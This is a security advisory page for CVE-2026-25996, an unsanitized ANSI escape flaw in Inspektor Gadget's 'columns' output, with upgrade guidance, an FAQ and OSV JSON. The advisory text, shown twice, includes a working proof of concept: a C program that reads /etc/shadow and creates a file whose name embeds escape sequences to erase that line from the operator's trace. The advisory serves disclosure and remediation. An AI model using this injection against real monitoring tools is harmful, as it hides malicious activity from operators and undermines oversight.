CVE-2026-25996: Github.com/inspektor gadget/inspektor gadget Inspektor Gadget Uses Unsanitized ANSI Vulnerability

MODERATE
Advisory Identifier: GHSA-34r5-6j7w-235f
CWE-150
Published
Advisory Summary

CVE-2026-25996 is a MODERATE inspektor gadget uses unsanitized ansi vulnerability (CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences) affecting Github.com/inspektor gadget/inspektor gadget libraries in the Go ecosystem. The issue involves inspektor gadget uses unsanitized ansi escape sequences in `columns` output mode. Remediation is available by upgrading affected packages to version 0.49.1.

CVE-2026-25996 at a Glance

CVE Identifier CVE-2026-25996
GHSA Identifier GHSA-34r5-6j7w-235f
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences
Affected Product Github.com/inspektor gadget/inspektor gadget
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-25996

To remediate this vulnerability, upgrade all affected Github.com/inspektor gadget/inspektor gadget dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/inspektor-gadget/inspektor-gadget fixed: 0.49.1
Upgrade github.com/inspektor-gadget/inspektor-gadget to 0.49.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/inspektor-gadget/inspektor-gadget

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-25996, inspect your project dependencies for Github.com/inspektor gadget/inspektor gadget:

inspect dependencies for github.com/inspektor-gadget/inspektor-gadget

Analyze the terminal output to locate any version of Github.com/inspektor gadget/inspektor gadget in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.49.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences, where the product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component. In Github.com/inspektor gadget/inspektor gadget, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Description String fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. Therefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects. The `columns` output mode is the default when running `ig run` interactively. ### PoC #### Attachments run.sh ```bash #!/bin/bash set -e SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" CONTAINER_NAME="poc-escape-inject" echo "Make sure ig is running in another terminal:" echo " sudo ig run trace_open -c ${CONTAINER_NAME}" echo "" echo "Press Enter to continue..." read -r sudo docker run --rm \ --name "${CONTAINER_NAME}" \ -v "${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro" \ gcc:latest \ bash -c " gcc -o /tmp/escape_inject /src/escape_inject.c && \ /tmp/escape_inject " ``` escape_inject.c ```c #include <fcntl.h> #include <stdio.h> #include <unistd.h> static void read_file(const char *path) { int fd = open(path, O_RDONLY); if (fd >= 0) close(fd); } static void create_file(const char *path) { int fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644); if (fd >= 0) close(fd); } int main(void) { printf("[1] normal activity\n"); create_file("/tmp/app.log"); printf("[2] malicious read of /etc/shadow\n"); read_file("/etc/shadow"); usleep(300000); printf("[3] tampering the log\n"); create_file("/etc\x1b[1A/bashrc\x1b[1B\x1b[13C"); usleep(300000); return 0; } ``` 1. Setup a Linux host and build/install `ig` version `0.48.0` 2. Run the attached `run.sh` on a terminal 3. Run `sudo ig run trace_open -c poc-escape-inject` on another terminal 4. Press "Enter" on the terminal attached to `run.sh` 5. Observe the events traced by `ig` 6. Notice that, at some point, the line where `/etc/shadow` is logged is overwritten `/etc/bashrc`, demonstrating the log injection ### Impact The impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying `columns` output. At the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones. However, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to: - lead to DoS (Denial of Service) - write to the system clipboard - create hyperlinks to attacker-controlled servers - change window title - potentially execute code (see referenced resources) ### Resources - https://www.youtube.com/watch?v=spb8Gk9Z09Y ### Notes The `json` output mode was already sanitizing the content.

CVE-2026-25996 Affected Github.com/inspektor gadget/inspektor gadget Versions

1 component(s)
Fixed Versions:
0.49.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/inspektor-gadget/inspektor-gadget
Go
< 0.49.1
0.49.1

References

Frequently Asked Questions

What is CVE-2026-25996?
CVE-2026-25996 is a security vulnerability in Github.com/inspektor gadget/inspektor gadget involving Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode under CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences.
Which Github.com/inspektor gadget/inspektor gadget versions are affected?
Affected versions include releases prior to 0.49.1 across affected packages: github.com/inspektor-gadget/inspektor-gadget.
What version fixes CVE-2026-25996?
Upgrading to 0.49.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/inspektor-gadget/inspektor-gadget affected?
Yes, github.com/inspektor-gadget/inspektor-gadget is affected in releases prior to 0.49.1. Upgrade your dependency to 0.49.1 or later.
What CWE is associated with CVE-2026-25996?
CVE-2026-25996 is classified under CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.).
How can I check Go dependencies for CVE-2026-25996?
Run the dependency tree command: 'inspect dependencies for github.com/inspektor-gadget/inspektor-gadget'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-34r5-6j7w-235f",
  "modified" : "2026-04-22T18:50:32Z",
  "published" : "2026-04-22T18:50:32Z",
  "aliases" : [ "CVE-2026-25996" ],
  "summary" : "Inspektor Gadget uses unsanitized ANSI Escape Sequences In `columns` Output Mode",
  "details" : "### Description\nString fields from eBPF events in `columns` output mode are rendered to the terminal without any sanitization of control characters or ANSI escape sequences. \n\nTherefore, a maliciously forged – partially or completely – event payload, coming from an observed container, might inject the escape sequences into the terminal of `ig` operators, with various effects.\n\nThe `columns` output mode is the default when running `ig run` interactively.\n\n### PoC\n\n#### Attachments\nrun.sh\n```bash\n\n#!/bin/bash\nset -e\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nCONTAINER_NAME=\"poc-escape-inject\"\n\necho \"Make sure ig is running in another terminal:\"\necho \"  sudo ig run trace_open -c ${CONTAINER_NAME}\"\necho \"\"\necho \"Press Enter to continue...\"\nread -r\n\nsudo docker run --rm \\\n    --name \"${CONTAINER_NAME}\" \\\n    -v \"${SCRIPT_DIR}/escape_inject.c:/src/escape_inject.c:ro\" \\\n    gcc:latest \\\n    bash -c \"\n        gcc -o /tmp/escape_inject /src/escape_inject.c && \\\n        /tmp/escape_inject\n    \"\n```\n\nescape_inject.c\n```c\n#include <fcntl.h>\n#include <stdio.h>\n#include <unistd.h>\n\nstatic void read_file(const char *path)\n{\n\tint fd = open(path, O_RDONLY);\n\tif (fd >= 0)\n\t\tclose(fd);\n}\n\nstatic void create_file(const char *path)\n{\n\tint fd = open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644);\n\tif (fd >= 0)\n\t\tclose(fd);\n}\n\nint main(void)\n{\n\tprintf(\"[1] normal activity\\n\");\n\tcreate_file(\"/tmp/app.log\");\n\tprintf(\"[2] malicious read of /etc/shadow\\n\");\n\tread_file(\"/etc/shadow\");\n\tusleep(300000);\n\tprintf(\"[3] tampering the log\\n\");\n\tcreate_file(\"/etc\\x1b[1A/bashrc\\x1b[1B\\x1b[13C\");\n\tusleep(300000);\n\treturn 0;\n}\n```\n\n1. Setup a Linux host and build/install `ig` version `0.48.0`\n2. Run the attached `run.sh` on a terminal\n3. Run `sudo ig run trace_open -c poc-escape-inject` on another terminal\n4. Press \"Enter\" on the terminal attached to `run.sh`\n5. Observe the events traced by `ig`\n6. Notice that, at some point, the line where `/etc/shadow` is logged is overwritten `/etc/bashrc`, demonstrating the log injection\n\n\n### Impact\n\nThe impact depends on the injection point – mostly due to length limitations – and on the terminal used by the operator when running displaying `columns` output.\n\nAt the very least, the injection can be used for [Log Injection](https://owasp.org/www-community/attacks/Log_Injection), by inserting new lines or deleting existing ones.\n\nHowever, by leveraging Operating System Command (OSC) ANSI escape sequences, the impact on modern terminal can vary, possibly allowing an attacker to:\n\n- lead to DoS (Denial of Service)\n- write to the system clipboard\n- create hyperlinks to attacker-controlled servers\n- change window title\n- potentially execute code (see referenced resources)\n\n### Resources\n- https://www.youtube.com/watch?v=spb8Gk9Z09Y\n\n### Notes\n\nThe `json` output mode was already sanitizing the content.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/inspektor-gadget/inspektor-gadget"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.49.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-34r5-6j7w-235f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25996"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget/commit/d59cf72971f9b7110d9c179dc8ae8b7a11dbd6d2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/inspektor-gadget/inspektor-gadget/releases/tag/v0.49.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-150" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T18:50:32Z",
    "nvd_published_at" : "2026-02-12T21:16:02Z"
  }
}